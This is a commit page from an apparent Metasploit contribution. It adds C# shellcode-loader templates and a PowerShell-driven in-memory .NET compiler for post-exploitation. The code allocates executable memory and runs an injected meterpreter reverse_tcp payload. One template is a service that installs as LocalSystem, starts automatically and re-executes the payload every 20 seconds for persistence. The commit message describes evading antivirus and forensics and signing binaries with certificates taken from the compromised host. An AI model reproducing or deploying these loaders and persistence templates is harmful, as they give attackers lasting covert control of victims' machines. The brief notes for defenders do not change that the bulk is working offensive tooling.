Skip to content

Commit 36b989e

Browse files
RageLtManbusterb
authored andcommitted
Initial import of .NET compiler and persistence
Add Exploit::Powershell::DotNet namespace with compiler and runtime elevator. Add compiler modules for payloads and custom .NET code/blocks. ============== Powershell-based persistence module to compile .NET templates with MSF payloads into binaries which persist on host. Templates by @hostess (way back in 2012). C# templates for simple binaries and a service executable with its own install wrapper. ============== Generic .NET compiler post module Compiles .NET source code to binary on compromised hosts. Useful for home-grown APT deployment, decoy creation, and other misdirection or collection activities. Using mimikatz (kiwi), one can also extract host-resident certs and use them to sign the generated binary, thus creating a locally trusted exe which helps with certain defensive measures. ============== Concept: Microsoft has graciously included a compiler in every modern version of Windows. Although executables which can be easily invoked by the user may not be present on all hosts, the shared runtime of .NET and Powershell exposes this functionality to all users with access to Powershell. This commit provides a way to execute the compiler entirely in memory, seeking to avoid disk access and the associated forensic and defensive measures. Resulting .NET assemblies can be run from memory, or written to disk (with the option of signing them using a pfx cert on the host). Two basic modules are provided to showcase the functionality and execution pipeline. Usage notes: Binaries generated this way are dynamic by nature and avoid sig based detection. Heuristics, sandboxing, and other isolation mechanisms must be defeated by the user for now. Play with compiler options, included libraries, and runtime environments for maximum entropy before you hit the temmplates. Defenders should watch for: Using this in conjunction with WMI/PS remoting or other MSFT native distributed execution mechanism can bring malware labs to their knees with properly crafted templates. The powershell code to generate the binaries also provides a convenient method to leave behind complex trojans which are not yet in binary form, nor will they be until execution (which can occur strictly in memory avoiding disk access for the final product). ============== On responsible disclosure: I've received some heat over the years for prior work in this arena. Everything here is already public, and has been in closed PRs in the R7 repo for years. The bad guys have had this for a while (they do their homework religiously), defenders need to be made aware of this approach and prepare themselves to deal with it.
1 parent 1b06e62 commit 36b989e

File tree

6 files changed

+854
-0
lines changed

6 files changed

+854
-0
lines changed
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
using System;
2+
using System.Runtime.InteropServices;
3+
4+
namespace Wrapper
5+
{
6+
class Program
7+
{
8+
[Flags]
9+
public enum AllocationType : uint
10+
{
11+
COMMIT = 0x1000,
12+
RESERVE = 0x2000,
13+
RESET = 0x80000,
14+
LARGE_PAGES = 0x20000000,
15+
PHYSICAL = 0x400000,
16+
TOP_DOWN = 0x100000,
17+
WRITE_WATCH = 0x200000
18+
}
19+
20+
[Flags]
21+
public enum MemoryProtection : uint
22+
{
23+
EXECUTE = 0x10,
24+
EXECUTE_READ = 0x20,
25+
EXECUTE_READWRITE = 0x40,
26+
EXECUTE_WRITECOPY = 0x80,
27+
NOACCESS = 0x01,
28+
READONLY = 0x02,
29+
READWRITE = 0x04,
30+
WRITECOPY = 0x08,
31+
GUARD_Modifierflag = 0x100,
32+
NOCACHE_Modifierflag = 0x200,
33+
WRITECOMBINE_Modifierflag = 0x400
34+
}
35+
36+
public enum FreeType : uint
37+
{
38+
MEM_DECOMMIT = 0x4000,
39+
MEM_RELEASE = 0x8000
40+
}
41+
42+
[DllImport("kernel32.dll", SetLastError = true)]
43+
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
44+
45+
[DllImport("kernel32.dll")]
46+
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
47+
48+
[DllImport("kernel32")]
49+
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
50+
51+
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
52+
public delegate Int32 ExecuteDelegate();
53+
54+
static void Main()
55+
{
56+
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
57+
string shellcode = "MSF_PAYLOAD_SPACE";
58+
59+
60+
byte[] sc = new byte[shellcode.Length];
61+
62+
for (int i = 0; i < shellcode.Length; i++)
63+
{
64+
sc[i] = Convert.ToByte(shellcode[i]);
65+
}
66+
67+
// Allocate RWX memory for the shellcode
68+
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
69+
70+
try
71+
{
72+
// Copy shellcode to RWX buffer
73+
Marshal.Copy(sc, 0, baseAddr, sc.Length);
74+
75+
// Get pointer to function created in memory
76+
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
77+
78+
del();
79+
}
80+
finally
81+
{
82+
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
83+
}
84+
}
85+
}
86+
}
Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
2+
using System;
3+
using System.ComponentModel;
4+
using System.Configuration.Install;
5+
using System.Net;
6+
using System.Net.Sockets;
7+
using System.Runtime.InteropServices;
8+
using System.ServiceProcess;
9+
using System.Threading;
10+
using System.Timers;
11+
using Timer = System.Timers.Timer;
12+
13+
namespace Wrapper
14+
{
15+
class Program : ServiceBase
16+
{
17+
#region Fields
18+
19+
private static Timer _timer;
20+
21+
#endregion
22+
23+
#region PInvoke Setup
24+
25+
[Flags]
26+
public enum AllocationType : uint
27+
{
28+
COMMIT = 0x1000,
29+
RESERVE = 0x2000,
30+
RESET = 0x80000,
31+
LARGE_PAGES = 0x20000000,
32+
PHYSICAL = 0x400000,
33+
TOP_DOWN = 0x100000,
34+
WRITE_WATCH = 0x200000
35+
}
36+
37+
[Flags]
38+
public enum MemoryProtection : uint
39+
{
40+
EXECUTE = 0x10,
41+
EXECUTE_READ = 0x20,
42+
EXECUTE_READWRITE = 0x40,
43+
EXECUTE_WRITECOPY = 0x80,
44+
NOACCESS = 0x01,
45+
READONLY = 0x02,
46+
READWRITE = 0x04,
47+
WRITECOPY = 0x08,
48+
GUARD_Modifierflag = 0x100,
49+
NOCACHE_Modifierflag = 0x200,
50+
WRITECOMBINE_Modifierflag = 0x400
51+
}
52+
53+
public enum FreeType : uint
54+
{
55+
MEM_DECOMMIT = 0x4000,
56+
MEM_RELEASE = 0x8000
57+
}
58+
59+
[DllImport("kernel32.dll", SetLastError = true)]
60+
static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
61+
62+
[DllImport("kernel32.dll")]
63+
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
64+
65+
[DllImport("kernel32")]
66+
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType);
67+
68+
[UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)]
69+
public delegate Int32 ExecuteDelegate();
70+
71+
#endregion
72+
73+
#region Constructors
74+
75+
public Program()
76+
{
77+
ServiceName = "MsfDynSvc";
78+
_timer = new Timer
79+
{
80+
Interval = 20000 // 20 seconds
81+
};
82+
_timer.Elapsed += RunShellCode;
83+
_timer.AutoReset = true;
84+
}
85+
86+
#endregion
87+
88+
#region ServiceBase Methods
89+
90+
protected override void OnStart(string[] args)
91+
{
92+
base.OnStart(args);
93+
_timer.Start();
94+
}
95+
96+
protected override void OnStop()
97+
{
98+
base.OnStop();
99+
_timer.Stop();
100+
}
101+
102+
#endregion
103+
104+
static void Main()
105+
{
106+
Run(new Program());
107+
}
108+
109+
private void RunShellCode(object sender, ElapsedEventArgs e)
110+
{
111+
_timer.Stop();
112+
113+
// only run shellcode if you can connect to localhost:445, due to endpoint protections
114+
if (ConnectToLocalhost(445))
115+
{
116+
try
117+
{
118+
// msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
119+
string shellcode = "MSF_PAYLOAD_SPACE";
120+
121+
byte[] sc = new byte[shellcode.Length];
122+
123+
for (int i = 0; i < shellcode.Length; i++)
124+
{
125+
sc[i] = Convert.ToByte(shellcode[i]);
126+
}
127+
128+
// Allocate RWX memory for the shellcode
129+
IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE);
130+
System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory");
131+
132+
try
133+
{
134+
// Copy shellcode to RWX buffer
135+
Marshal.Copy(sc, 0, baseAddr, sc.Length);
136+
137+
// Get pointer to function created in memory
138+
ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate));
139+
140+
// Run this in a separate thread, so that we can wait for it to die before continuing the timer
141+
Thread thread = new Thread(() => del());
142+
143+
thread.Start();
144+
thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread
145+
}
146+
catch
147+
{
148+
// If the shellcode crashes, try to catch the crash here
149+
}
150+
finally
151+
{
152+
VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE);
153+
}
154+
}
155+
catch
156+
{
157+
// Eat it
158+
}
159+
}
160+
_timer.Start();
161+
}
162+
163+
private static bool ConnectToLocalhost(int port)
164+
{
165+
IPAddress localhost = IPAddress.Parse("127.0.0.1");
166+
TcpClient tcpClient = new TcpClient();
167+
168+
bool isSuccess = false;
169+
170+
try
171+
{
172+
tcpClient.Connect(localhost, port);
173+
isSuccess = true;
174+
}
175+
catch
176+
{
177+
// I know this is bad code-fu, but just eat the error
178+
}
179+
finally
180+
{
181+
if (tcpClient.Connected)
182+
{
183+
tcpClient.Close();
184+
}
185+
}
186+
187+
return isSuccess;
188+
}
189+
190+
}
191+
192+
[RunInstaller(true)]
193+
public class DotNetAVBypassServiceInstaller : Installer
194+
{
195+
public DotNetAVBypassServiceInstaller()
196+
{
197+
var processInstaller = new ServiceProcessInstaller();
198+
var serviceInstaller = new ServiceInstaller();
199+
200+
//set the privileges
201+
processInstaller.Account = ServiceAccount.LocalSystem;
202+
203+
serviceInstaller.DisplayName = "MsfDynSvc";
204+
serviceInstaller.StartType = ServiceStartMode.Automatic;
205+
206+
//must be the same as what was set in Program's constructor
207+
serviceInstaller.ServiceName = "MsfDynSvc";
208+
209+
Installers.Add(processInstaller);
210+
Installers.Add(serviceInstaller);
211+
}
212+
213+
public override void Install(System.Collections.IDictionary stateSaver)
214+
{
215+
base.Install(stateSaver);
216+
ServiceController controller = new ServiceController("MsfDynSvc"); // Make sure this name matches the service name!
217+
controller.Start();
218+
}
219+
}
220+
}
221+
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
using System;
2+
using System.Reflection;
3+
4+
namespace Shellcode
5+
{
6+
class MainClass
7+
{
8+
public delegate uint Ret1ArgDelegate(uint arg1);
9+
static uint PlaceHolder1(uint arg1) { return 0; }
10+
11+
unsafe static void Main(string[] args)
12+
{
13+
string shellcode = "MSF_PAYLOAD_SPACE";
14+
byte[] asmBytes = new byte[shellcode.Length];
15+
for (int i = 0; i < shellcode.Length; i++)
16+
{
17+
asmBytes[i] = Convert.ToByte(shellcode[i]);
18+
}
19+
fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
20+
{
21+
// Get the FieldInfo for "_methodPtr"
22+
Type delType = typeof(Delegate);
23+
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
24+
25+
// Set our delegate to our x86 code
26+
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
27+
_methodPtr.SetValue(del, (IntPtr)startAddress);
28+
29+
// Enjoy
30+
uint n = (uint)0xdecafbad;
31+
n = del(n);
32+
Console.WriteLine("{0:x}", n);
33+
}
34+
}
35+
}
36+
}

0 commit comments

Comments
 (0)